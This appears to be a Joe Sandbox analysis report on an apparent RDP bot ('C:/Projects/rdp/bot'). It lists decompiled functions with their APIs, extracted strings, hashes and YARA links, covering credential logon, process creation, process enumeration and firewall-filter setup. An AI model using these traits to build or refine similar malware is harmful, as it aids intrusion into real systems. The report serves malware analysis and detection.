Opcode ID: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction ID: 66093d1820e0408654188f5ce1ba275629a297463c1ead15727bf940c226423b
Opcode Fuzzy Hash: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction Fuzzy Hash: A4F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894872 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction ID: 2bf27b2ae6d6eec0c27612c2c8fc7362068cfee71c6fc820ee6dd9d7b4cc56f9
Opcode Fuzzy Hash: 61536f64e2f8ffc8f51db8786fdea12ce0a1234ad630e6579192e398d01fd7e8
Instruction Fuzzy Hash: 1BF03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894868 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction ID: b86c9df7f7d8c00c1de3fd7fae0b5c9d88931ac29f3a9f4d1ff10f1936957d94
Opcode Fuzzy Hash: d09cfe2e7f27015ffce74da7658019a43f43db689c1ca60bcd7ebf9e5b6c6232
Instruction Fuzzy Hash: D9F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF704894890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction ID: 4f51eaf12c252f14d2e814458be1617bc15ec2ecf4b6497148fa16afbf635ced
Opcode Fuzzy Hash: f4da63c4789cf217afe351ff4f6dd43b543261fbf7b8fdb04ee6528f7bd42f17
Instruction Fuzzy Hash: D1F03013B0DA0341F956AE467C80BB991412F81BA5E8D0D358D5C0A6C1AF7D7CA38320

Function 00007FF704894886 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction ID: 66093d1820e0408654188f5ce1ba275629a297463c1ead15727bf940c226423b
Opcode Fuzzy Hash: 66188fbad683bb74668b27566d1f38c8e5cf3bb503f2bc2aca81d20f34e51556
Instruction Fuzzy Hash: A4F03A13B0DA0341F956AE46BC80BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Function 00007FF70489487C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF704894B30

Strings

fs_file_read, xrefs: 00007FF704894B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF704894B6C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction ID: 471b3bff0586ec136dc95a8933df64422d513b9a2d9e2133d451bacefe279388
Opcode Fuzzy Hash: 16974e12e65d0088ddd2aef65ce91995e315f23da78915dcd85e6b3e4ba2f098
Instruction Fuzzy Hash: 62F03A13B0DA0341F956AE46BC81BB992412F81BA5E8D0D358D5C0A6C1AF7DBCA38320

Non-executed Functions

Function 00007FF70489292E Relevance: 56.4, APIs: 17, Strings: 15, Instructions: 435stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7048929C0
strcat.MSVCRT ref: 00007FF704892AFA
strlen.MSVCRT ref: 00007FF704892B10
strlen.MSVCRT ref: 00007FF704892B1B
strlen.MSVCRT ref: 00007FF704892B4F
strcat.MSVCRT ref: 00007FF704892B5F
strlen.MSVCRT ref: 00007FF704892B9D
strlen.MSVCRT ref: 00007FF704892BAA
strlen.MSVCRT ref: 00007FF704892BD3
strcat.MSVCRT ref: 00007FF704892BE5
LogonUserA.ADVAPI32 ref: 00007FF704892C55
GetLastError.KERNEL32 ref: 00007FF704892C63
CloseHandle.KERNEL32 ref: 00007FF704892F27

Strings

h, xrefs: 00007FF7048930F6
[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF704892E23
[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x), xrefs: 00007FF704892A30
[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu), xrefs: 00007FF7048931A5
NULL, xrefs: 00007FF7048931B6, 00007FF7048931C2, 00007FF7048931CE, 00007FF7048931DA, 00007FF7048931E6, 00007FF7048931F2, 00007FF7048931FE, 00007FF70489320A, 00007FF704893216
[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu), xrefs: 00007FF7048930B3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704892A70, 00007FF704892AA4, 00007FF704892AD8
(pi != NULL), xrefs: 00007FF704892A62
[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu), xrefs: 00007FF704892F7F
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF704892A5B, 00007FF704892A8F, 00007FF704892AC3
[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF704892C8A
(usr == NULL) || (pwd != NULL), xrefs: 00007FF704892ACA
[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu), xrefs: 00007FF704892F10
process_create, xrefs: 00007FF704892A29, 00007FF704892A69, 00007FF704892A9D, 00007FF704892AD1, 00007FF704892C83, 00007FF704892E1C, 00007FF704892F09, 00007FF704892F78, 00007FF7048930AC, 00007FF70489319E
(app != NULL), xrefs: 00007FF704892A96

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: strlen$strcat$CloseErrorHandleLastLogonUser
String ID: (app != NULL)$(pi != NULL)$(usr == NULL) || (pwd != NULL)$C:/Projects/rdp/bot/codebase/process.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu)$[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x)$[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu)$[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu)$[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu)$h$process_create
API String ID: 1842180197-3127737957
Opcode ID: 2fad34b6e60e7e93003f52f53a8c878be0b46599dbd7b18018c2520e3bcecbd4
Instruction ID: 28bd793a4a1bb066b7dd8ecbdd451976ec41fe2318122e41446cc32f2362734c
Opcode Fuzzy Hash: 2fad34b6e60e7e93003f52f53a8c878be0b46599dbd7b18018c2520e3bcecbd4
Instruction Fuzzy Hash: 16124D61A0CA4291F670AF03EC84BB9E290BF44784FC80D76D94E466D5DF7CFA659321

Function 00007FF704893DB3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FF704893DF9
strcpy.MSVCRT ref: 00007FF704893E14
FindFirstFileA.KERNEL32 ref: 00007FF704893EE7
GetLastError.KERNEL32 ref: 00007FF704893F03
GetLastError.KERNEL32 ref: 00007FF704893F32
FindClose.KERNEL32 ref: 00007FF704893F50

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

Strings

(resume_handle != NULL), xrefs: 00007FF704893EB9
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF704893F24
(path != NULL), xrefs: 00007FF704893E49
(name != NULL), xrefs: 00007FF704893E81
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF704893E42, 00007FF704893E7A, 00007FF704893EB2
fs_dir_list, xrefs: 00007FF704893E50, 00007FF704893E88, 00007FF704893EC0, 00007FF704893F1D, 00007FF704893F61
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF704893F68
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF704893E57, 00007FF704893E8F, 00007FF704893EC7

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-1535167640
Opcode ID: 10e833dc0d3452da4785b0ad94a31546d2ee9f8e52f6881e3946f62a432c2465
Instruction ID: 780ae8c0c8c13fcd75a76be85c93bd86854157bc0e565ba7c4c1af6d1138744a
Opcode Fuzzy Hash: 10e833dc0d3452da4785b0ad94a31546d2ee9f8e52f6881e3946f62a432c2465
Instruction Fuzzy Hash: F2613C22E0C95395FA607E5AAC84BB8D260AF08754FD80932EC5E4B2D1DF6CFC759361

Function 00007FF70489FF1F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70489FF2E
GetProcAddress.KERNEL32 ref: 00007FF70489FF45
LoadLibraryW.KERNEL32 ref: 00007FF70489FF53
GetProcAddress.KERNEL32 ref: 00007FF70489FF63

Strings

SystemFunction036, xrefs: 00007FF70489FF59
msvcrt.dll, xrefs: 00007FF70489FF27
rand_s, xrefs: 00007FF70489FF3B
advapi32.dll, xrefs: 00007FF70489FF4C

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 85c771fb55e45746b373319f0909d9bbab80cd8ba9edf7ac40692cd287980bbc
Instruction ID: 63029bfb364903971032cac5a4158de6949aedef55f34424b7d2d0ad07b717b9
Opcode Fuzzy Hash: 85c771fb55e45746b373319f0909d9bbab80cd8ba9edf7ac40692cd287980bbc
Instruction Fuzzy Hash: 70F0A926E0AA1790F905EF13AC84864A7646F04740BC80932C94D563A4EFACA5798320

Function 00007FF70489929A Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 118COMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FF7048992B1
ntohl.WS2_32 ref: 00007FF7048992B9

Part of subcall function 00007FF7048914E2: fwrite.MSVCRT ref: 00007FF70489158E
Part of subcall function 00007FF7048914E2: fflush.MSVCRT ref: 00007FF70489159A

Strings

3L, xrefs: 00007FF704899486
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(filt_idx=%d,res=%08lx), xrefs: 00007FF704899521
TL, xrefs: 00007FF7048992D6
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF704899367
setup_ip4_filt, xrefs: 00007FF704899360, 00007FF70489951A

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fflushfwriteinet_addrntohl
String ID: 3L$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(filt_idx=%d,res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$setup_ip4_filt
API String ID: 3255839625-58178811
Opcode ID: 91eab02d4129dd6947077f69cbbd103b78071940b845cf3642cb8d3f3b67fa7f
Instruction ID: 3b5ca9c28135359f1f0799911a3da1abb81741972a55a7a2b350da5a29038627
Opcode Fuzzy Hash: 91eab02d4129dd6947077f69cbbd103b78071940b845cf3642cb8d3f3b67fa7f
Instruction Fuzzy Hash: 5B519E3260CBC589E7309F29B8807DAB7A1EB85780F844138D6CC47BA9EB7CD495CB50

Function 00007FF704896FD5 Relevance: 1.5, APIs: 1, Instructions: 25timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF704896FF0

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: eaf35cacb86d4e2f88e6fced642b51b1d7c27793e30891e7df17b252400794d8
Instruction ID: 3968525ee40ebe4de64c338d41631200371e0423dadede962e9a9bb2ebfc939e
Opcode Fuzzy Hash: eaf35cacb86d4e2f88e6fced642b51b1d7c27793e30891e7df17b252400794d8
Instruction Fuzzy Hash: CAE02BA2718C0543FF20DE1AD880BB7A751CB9C384F944430E91DC3794EB2CE9618740

Function 00007FF7048AB668 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cdbd8a1772982e1159f987e7582aee2234c2e3b90ba2fecf474b6389da8852
Instruction ID: a104ba4927eb469f8d1877c40c1a88cc3de74942c05c89e30cd43e6cf209b046
Opcode Fuzzy Hash: 43cdbd8a1772982e1159f987e7582aee2234c2e3b90ba2fecf474b6389da8852
Instruction Fuzzy Hash: FB11C287D0DAD345F656186A0CE9BB54B805F537B8E8C0639CF3C462D29F8E78338220

Function 00007FF7048AB6B8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f425755523f90e08f9e80f8d6c7666d97432842fe783b546abaece473fadd6
Instruction ID: d5c286dae81ca9e563f7ecdbd25a993e496ecc03dde66f19e249c4f7b29517e7
Opcode Fuzzy Hash: 00f425755523f90e08f9e80f8d6c7666d97432842fe783b546abaece473fadd6
Instruction Fuzzy Hash: 66F0A987D0CAC341FA46186A0CAA7A14B816F537B8E8C4739CF38462D26F5F7C328224

Function 00007FF7048AB558 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04e2900766d9d14cb05d71eedaab4efe8780466c1436e7a6fc7beb0f48e5108a
Instruction ID: dfa884f8b79c34c823369a128e68ec0bee882247c44b9b1a67834bab0760144d
Opcode Fuzzy Hash: 04e2900766d9d14cb05d71eedaab4efe8780466c1436e7a6fc7beb0f48e5108a
Instruction Fuzzy Hash: E9E0E583E0DBD351F3139A394C646285E901F52764F8C42B6C7980B2D3CE8C3C21C221

Function 00007FF7048A05D9 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad621d27ed11d527f0a4eb9abd0c574f9942df0d3b361b300398ff936c25c339
Instruction ID: 8eacfc94772ec22b91150498c3398c696784a8ebfa5c67f24c6d9c4bcea80089
Opcode Fuzzy Hash: ad621d27ed11d527f0a4eb9abd0c574f9942df0d3b361b300398ff936c25c339
Instruction Fuzzy Hash: 0CA00213D4DC09C8F6401F01EC41572A538EF06600FC82534C128520958B6CA020C114

Function 00007FF70489212F Relevance: 66.9, APIs: 13, Strings: 25, Instructions: 417processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF704892163
Process32First.KERNEL32 ref: 00007FF704892197
GetLastError.KERNEL32 ref: 00007FF704892227
GetLastError.KERNEL32 ref: 00007FF7048922FF
strcmp.MSVCRT ref: 00007FF7048924CA
